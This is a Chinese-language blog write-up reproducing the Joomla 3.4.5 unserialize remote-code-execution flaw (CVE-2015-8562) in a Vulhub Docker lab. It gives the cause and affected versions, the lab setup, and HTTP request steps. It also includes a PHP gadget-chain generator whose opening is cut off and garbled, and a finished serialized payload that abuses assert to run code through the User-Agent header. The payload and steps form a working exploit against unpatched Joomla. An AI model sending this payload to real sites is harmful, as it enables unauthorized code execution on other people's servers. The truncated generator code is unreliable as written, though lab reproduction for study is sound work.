利用Vulnhub复现漏洞 - Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)

Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)

    • Vulnhub官方复现教程
      • 漏洞原理
    • 复现过程
      • 启动环境
      • 漏洞复现
        • 成功情况
        • 并未成功
      • POC

Vulnhub官方复现教程

https://vulhub.org/#/environments/joomla/CVE-2015-8562/

漏洞原理

本漏洞根源是PHP5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。

通过Joomla中的Gadget,可造成任意代码执行的结果。

详情可参考:

  • https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html

影响版本

  • Joomla 1.5.x, 2.x, and 3.x before 3.4.6
  • PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45

复现过程

启动环境

https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为

cd /root/vulhub/joomla/CVE-2015-8562

搭建及运行漏洞环境:

docker-compose build && docker-compose up -d

用时:3分钟
环境启动后,访问http://your-ip:8080即可看到Joomla的安装界面,当前环境的数据库信息为:

  • 数据库地址:mysql:3306
  • 用户:root
  • 密码:root
  • 数据库名:joomla

填入上述信息,正常安装即可。
利用Vulnhub复现漏洞 - Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)_第1张图片
记得删除安装目录
利用Vulnhub复现漏洞 - Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)_第2张图片

漏洞复现

去掉User-Agent头,先访问一次目标主页,记下服务端返回的Cookie:

GET / HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Connection: close
Upgrade-Insecure-Requests: 1

利用Vulnhub复现漏洞 - Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)_第3张图片
再用如下脚本生成POC:(在线运行)
利用Vulnhub复现漏洞 - Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)_第4张图片

feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->javascript = 9999;
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache = true;
    }
}

class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this->a = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    }
}

$a = new JDatabaseDriverMysqli();
$poc = serialize($a); 
$poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);
echo "123}__test|{$poc}\xF0\x9D\x8C\x86";

利用Vulnhub复现漏洞 - Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)_第5张图片
将生成好的POC作为User-Agent,带上第一步获取的Cookie发包,这一次发包,脏数据进入Mysql数据库。

成功情况

然后同样的包再发一次,代码被执行:
利用Vulnhub复现漏洞 - Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)_第6张图片

并未成功

可能是cookie的问题?cookie从要复制到,但是也没用
POC应该是没问题?会不会是复制的时候,因为编码的问题就不能用了?
或者是PHP版本问题?我php -v的版本不是PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45

POC

123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}

你可能感兴趣的:(渗透)